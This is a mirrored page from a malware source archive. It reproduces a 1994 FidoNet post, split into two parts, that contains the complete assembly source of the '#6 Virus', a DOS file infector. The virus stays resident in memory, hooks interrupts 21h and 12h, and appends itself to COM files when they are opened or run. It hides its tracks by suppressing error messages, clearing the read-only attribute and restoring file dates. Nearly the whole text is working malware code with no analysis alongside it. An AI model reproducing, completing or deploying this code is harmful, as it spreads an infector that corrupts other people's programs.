mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
395 lines
12 KiB
NASM
395 lines
12 KiB
NASM
|
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
|
|||
|
; Msg : 49 of 54
|
|||
|
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:17
|
|||
|
; To : - *.* - Fri 11 Nov 94 08:10
|
|||
|
; Subj : NUMBER_6.ASM
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;.RealName: Max Ivanov
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;* Kicked-up by MeteO (2:5030/136)
|
|||
|
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
|
|||
|
;* From : Ron Toler, 2:283/718 (06 Nov 94 17:56)
|
|||
|
;* To : Fred Lee
|
|||
|
;* Subj : NUMBER_6.ASM
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;@RFC-Path:
|
|||
|
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
|
|||
|
;18.n283!not-for-mail
|
|||
|
;@RFC-Return-Receipt-To: Ron.Toler@f718.n283.z2.fidonet.org
|
|||
|
;*****************************************************************************
|
|||
|
; #6 Virus *
|
|||
|
; *
|
|||
|
; Assembled with Tasm 2.5 *
|
|||
|
; (c) 1992 Trident/Dark Helmet, The Netherlands *
|
|||
|
; *
|
|||
|
; The author(s) take(s) no responsibility for any damaged caused by *
|
|||
|
; this virus. *
|
|||
|
;*****************************************************************************
|
|||
|
|
|||
|
.RADIX 16
|
|||
|
virus SEGMENT
|
|||
|
MODEL SMALL
|
|||
|
ASSUME cs:virus, ds:virus, es:virus
|
|||
|
ORG 100h
|
|||
|
|
|||
|
len EQU OFFSET last - begin
|
|||
|
|
|||
|
dummy: DB 0e9h,02h,00h,86h,54h ; Jump to start of
|
|||
|
; viruscode.
|
|||
|
begin: CALL start ; make a call to
|
|||
|
; push the IP on the
|
|||
|
; stack.
|
|||
|
start: POP bp ; get the IP of the
|
|||
|
; stack.
|
|||
|
SUB bp,108h ; adjust BP (=IP)
|
|||
|
; for offset of DATA.
|
|||
|
|
|||
|
restore: MOV di,0100h ; copy the original
|
|||
|
LEA si,ds:[carrier_begin+bp] ; host begin code back.
|
|||
|
MOV cx,05h
|
|||
|
REP MOVSB
|
|||
|
|
|||
|
check: MOV ah,0a0h ; check if virus
|
|||
|
INT 21h ; allready resident.
|
|||
|
CMP ax,8654h
|
|||
|
JE end_virus
|
|||
|
|
|||
|
memory: MOV ax,cs ; DS = Memory Control
|
|||
|
DEC ax ; Blok (MCB).
|
|||
|
MOV ds,ax
|
|||
|
CMP BYTE PTR ds:[0000],5ah ; check first byte if
|
|||
|
JNE abort ; last MCB.
|
|||
|
MOV ax,ds:[0003] ; decrease memory size.
|
|||
|
SUB ax,40
|
|||
|
MOV ds:[0003],AX
|
|||
|
|
|||
|
PUSH cs ; restore ds.
|
|||
|
POP ds
|
|||
|
|
|||
|
install: MOV bx,ax ; ES point where
|
|||
|
MOV ax,es ; to copy virus in
|
|||
|
ADD ax,bx ; memory.
|
|||
|
MOV es,ax
|
|||
|
|
|||
|
MOV cx,len ; copy virus to
|
|||
|
LEA si,ds:[begin+bp] ; memory.
|
|||
|
LEA di,es:0105 ; offset = 105
|
|||
|
REP MOVSB
|
|||
|
MOV [virus_segment+bp],es ; store virus_segment
|
|||
|
|
|||
|
PUSH cs ; restore es
|
|||
|
POP es
|
|||
|
|
|||
|
hook_vectors: CLI
|
|||
|
|
|||
|
MOV ax,3521h ; hook int 21h
|
|||
|
INT 21h
|
|||
|
MOV ds,[virus_segment+bp]
|
|||
|
MOV old_21h,bx
|
|||
|
MOV old_21h+2,es
|
|||
|
MOV dx,offset main_virus
|
|||
|
MOV ax,2521h
|
|||
|
INT 21h
|
|||
|
|
|||
|
MOV ax,3512h ; hook int 12h
|
|||
|
INT 21h
|
|||
|
MOV old_12h,bx
|
|||
|
MOV old_12h+2,es
|
|||
|
MOV dx,offset new_12h
|
|||
|
MOV ax,2512h
|
|||
|
INT 21h
|
|||
|
|
|||
|
STI
|
|||
|
|
|||
|
abort: MOV ax,cs ; restore ds,es
|
|||
|
MOV ds,ax
|
|||
|
MOV es,ax
|
|||
|
|
|||
|
end_virus: MOV bx,0100h ; jump to begin host
|
|||
|
PUSH bx
|
|||
|
XOR bx,bx
|
|||
|
XOR bp,bp
|
|||
|
XOR ax,ax
|
|||
|
XOR cx,cx
|
|||
|
RET
|
|||
|
|
|||
|
;*****************************************************************************
|
|||
|
; *
|
|||
|
; This part will intercept the interuptvectors and copy itself to *
|
|||
|
; other host programs *
|
|||
|
; *
|
|||
|
;*****************************************************************************
|
|||
|
|
|||
|
main_virus: PUSHF
|
|||
|
CMP ah,0a0h ; check if virus calls
|
|||
|
JNE new_21h ; and return id.
|
|||
|
MOV ax,8654h
|
|||
|
POPF
|
|||
|
IRET
|
|||
|
|
|||
|
new_21h: PUSH ds ; new interupt 21
|
|||
|
PUSH es ; routine
|
|||
|
PUSH di
|
|||
|
PUSH si
|
|||
|
PUSH ax
|
|||
|
PUSH bx
|
|||
|
PUSH cx
|
|||
|
PUSH dx
|
|||
|
PUSH sp
|
|||
|
PUSH bp
|
|||
|
|
|||
|
check_open: CMP ah,3dh ; check if a file is
|
|||
|
JNE check_exec ; being opened
|
|||
|
JMP chk_com
|
|||
|
|
|||
|
check_exec: CMP ax,04b00h ; check if a file is
|
|||
|
JNE continu ; executed
|
|||
|
JMP chk_com
|
|||
|
|
|||
|
continu: POP bp
|
|||
|
POP sp
|
|||
|
POP dx ; continu with
|
|||
|
POP cx ; interrupt
|
|||
|
POP bx
|
|||
|
POP ax
|
|||
|
POP si
|
|||
|
POP di
|
|||
|
POP es
|
|||
|
POP ds
|
|||
|
POPF
|
|||
|
JMP DWORD PTR cs:[old_21h]
|
|||
|
|
|||
|
chk_com: MOV cs:[name_seg],ds
|
|||
|
MOV cs:[name_off],dx
|
|||
|
CLD ; check if extension
|
|||
|
MOV di,dx ; is COM file
|
|||
|
PUSH ds
|
|||
|
POP es
|
|||
|
MOV al,'.'
|
|||
|
REPNE SCASB
|
|||
|
CMP WORD PTR es:[di],'OC'
|
|||
|
JNE continu
|
|||
|
CMP WORD PTR es:[di+2],'M'
|
|||
|
JNE continu
|
|||
|
|
|||
|
CMP WORD PTR es:[di-7],'MO' ; Check for
|
|||
|
JNE error ; COMMAND.COM
|
|||
|
CMP WORD PTR es:[di-5],'AM'
|
|||
|
JNE error
|
|||
|
CMP WORD PTR es:[di-3],'DN'
|
|||
|
JE continu
|
|||
|
|
|||
|
error: CALL int24h ; take care of error
|
|||
|
; messages
|
|||
|
CALL set_atribute ; set atribute for
|
|||
|
; writing
|
|||
|
|
|||
|
open_file: MOV ds,cs:[name_seg] ; open file
|
|||
|
MOV dx,cs:[name_off]
|
|||
|
MOV ax,3d02h
|
|||
|
CALL do_int21h
|
|||
|
JC close_file
|
|||
|
PUSH cs
|
|||
|
POP ds
|
|||
|
MOV [handle],ax
|
|||
|
MOV bx,ax
|
|||
|
|
|||
|
CALL get_date
|
|||
|
|
|||
|
check_infect: PUSH CS ; check if file
|
|||
|
POP DS ; already infect
|
|||
|
MOV BX,[handle]
|
|||
|
MOV ah,3fh
|
|||
|
MOV cx,05h
|
|||
|
LEA dx,[carrier_begin]
|
|||
|
CALL do_int21h
|
|||
|
MOV al, BYTE PTR [carrier_begin]+3 ; look for
|
|||
|
MOV ah, BYTE PTR [carrier_begin]+4 ; identification byte's
|
|||
|
CMP ax,[initials]
|
|||
|
JE save_date
|
|||
|
|
|||
|
get_lenght: MOV ax,4200h
|
|||
|
CALL move_pointer
|
|||
|
MOV ax,4202h
|
|||
|
CALL move_pointer
|
|||
|
SUB AX,03h
|
|||
|
MOV [lenght_file],ax
|
|||
|
|
|||
|
CALL write_jmp ; write jump
|
|||
|
; instruction.
|
|||
|
CALL write_virus ; write virus
|
|||
|
; body.
|
|||
|
|
|||
|
save_date: PUSH CS
|
|||
|
POP DS
|
|||
|
MOV bx,[handle]
|
|||
|
MOV dx,[date]
|
|||
|
MOV cx,[time]
|
|||
|
MOV ax,5701h
|
|||
|
CALL do_int21h
|
|||
|
|
|||
|
close_file: MOV bx,[handle] ; close file
|
|||
|
MOV ah,3eh
|
|||
|
CALL do_int21h
|
|||
|
|
|||
|
restore_int24h: MOV dx,cs:[old_24h] ; restore int24
|
|||
|
MOV ds,cs:[old_24h+2] ; for critical
|
|||
|
MOV ax,2524h ; error handling
|
|||
|
CALL do_int21h
|
|||
|
|
|||
|
JMP continu
|
|||
|
|
|||
|
new_24h: MOV al,3
|
|||
|
IRET
|
|||
|
|
|||
|
new_12h: JMP DWORD PTR cs:[old_12h]
|
|||
|
SUB ax,50
|
|||
|
IRET
|
|||
|
|
|||
|
;*****************************************************************************
|
|||
|
|
|||
|
move_pointer: PUSH cs
|
|||
|
POP ds
|
|||
|
MOV bx,[handle]
|
|||
|
XOR cx,cx
|
|||
|
XOR dx,dx
|
|||
|
CALL do_int21h
|
|||
|
RET
|
|||
|
|
|||
|
do_int21h: PUSHF
|
|||
|
CALL DWORD PTR cs:[old_21h]
|
|||
|
RET
|
|||
|
|
|||
|
write_jmp: PUSH CS
|
|||
|
POP DS
|
|||
|
|
|||
|
MOV ax,4200h ; write jump
|
|||
|
CALL move_pointer ; instruction
|
|||
|
MOV ah,40h
|
|||
|
MOV cx,01h
|
|||
|
LEA dx,[jump]
|
|||
|
CALL do_int21h
|
|||
|
|
|||
|
MOV ah,40h ; write offset of
|
|||
|
MOV cx,02h ; jump
|
|||
|
LEA dx,[lenght_file]
|
|||
|
CALL do_int21h
|
|||
|
|
|||
|
MOV ah,40h ; write mark for
|
|||
|
MOV cx,02h ; infection
|
|||
|
LEA dx,[initials]
|
|||
|
CALL do_int21h
|
|||
|
RET
|
|||
|
|
|||
|
write_virus: PUSH CS
|
|||
|
POP DS
|
|||
|
|
|||
|
MOV ax,4202h ; write main
|
|||
|
CALL move_pointer ; virus body
|
|||
|
MOV ah,40 ; at end of
|
|||
|
MOV cx,len ; program
|
|||
|
MOV dx,105h
|
|||
|
CALL do_int21h
|
|||
|
RET
|
|||
|
|
|||
|
get_date: MOV ax,5700h
|
|||
|
CALL do_int21h
|
|||
|
PUSH cs
|
|||
|
POP ds
|
|||
|
MOV [date],dx
|
|||
|
MOV [time],cx
|
|||
|
RET
|
|||
|
|
|||
|
int24h: MOV ax,3524h
|
|||
|
CALL do_int21h
|
|||
|
MOV cs:[old_24h],bx
|
|||
|
MOV cs:[old_24h+2],es
|
|||
|
MOV dx,offset new_24h
|
|||
|
PUSH CS
|
|||
|
POP DS
|
|||
|
MOV AX,2524h
|
|||
|
|
|||
|
; * Message split, to be continued *
|
|||
|
;-+- GEcho 1.00
|
|||
|
; + Origin: The PRO-Point on a PRO-BBS and a PRO-*.* ...Ciaro?... (2:283/718)
|
|||
|
;=============================================================================
|
|||
|
;
|
|||
|
;Yoo-hooo-oo, -!
|
|||
|
;
|
|||
|
;
|
|||
|
; <20> The Me<4D>eO
|
|||
|
;
|
|||
|
;/d Warn if duplicate symbols in libraries
|
|||
|
;
|
|||
|
;--- Aidstest Null: /Kill
|
|||
|
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
|
|||
|
|
|||
|
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
|
|||
|
; Msg : 50 of 54
|
|||
|
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:17
|
|||
|
; To : - *.* - Fri 11 Nov 94 08:10
|
|||
|
; Subj : [part 2] NUMBER_6.ASM
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;.RealName: Max Ivanov
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;* Kicked-up by MeteO (2:5030/136)
|
|||
|
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
|
|||
|
;* From : Ron Toler, 2:283/718 (06 Nov 94 17:56)
|
|||
|
;* To : Fred Lee
|
|||
|
;* Subj : [part 2] NUMBER_6.ASM
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;@RFC-Path:
|
|||
|
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
|
|||
|
;18.n283!not-for-mail
|
|||
|
;@RFC-Return-Receipt-To: Ron.Toler@f718.n283.z2.fidonet.org
|
|||
|
; * Continuation 1 of a split message *
|
|||
|
|
|||
|
CALL do_int21h
|
|||
|
RET
|
|||
|
|
|||
|
set_atribute: MOV ax,4300h ; get atribute
|
|||
|
MOV ds,cs:[name_seg]
|
|||
|
MOV dx,cs:[name_off]
|
|||
|
CALL do_int21h
|
|||
|
|
|||
|
AND cl,0feh ; set atribute
|
|||
|
MOV ax,4301h
|
|||
|
CALL do_int21h
|
|||
|
RET
|
|||
|
|
|||
|
;*****************************************************************************
|
|||
|
|
|||
|
text db '#6 Virus, Trident/The Netherlands 1992'
|
|||
|
old_12h dw 00h,00h
|
|||
|
old_21h dw 00h,00h
|
|||
|
old_24h dw 00h,00h
|
|||
|
carrier_begin db 090h,0cdh,020h,086h,054h
|
|||
|
jump db 0e9h
|
|||
|
name_seg dw ?
|
|||
|
name_off dw ?
|
|||
|
virus_segment dw ?
|
|||
|
handle dw ?
|
|||
|
lenght_file dw ?
|
|||
|
date dw ?
|
|||
|
time dw ?
|
|||
|
initials dw 5486h
|
|||
|
last db 090h
|
|||
|
|
|||
|
virus ends
|
|||
|
end dummy
|
|||
|
|
|||
|
;-+- GEcho 1.00
|
|||
|
; + Origin: The PRO-Point on a PRO-BBS and a PRO-*.* ...Ciaro?... (2:283/718)
|
|||
|
;=============================================================================
|
|||
|
;
|
|||
|
;Yoo-hooo-oo, -!
|
|||
|
;
|
|||
|
;
|
|||
|
; <20> The Me<4D>eO
|
|||
|
;
|
|||
|
;/dSYM[=VAL] Define symbol SYM = 0, or = value VAL
|
|||
|
;
|
|||
|
;--- Aidstest Null: /Kill
|
|||
|
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
|
|||
|
|
|||
|
|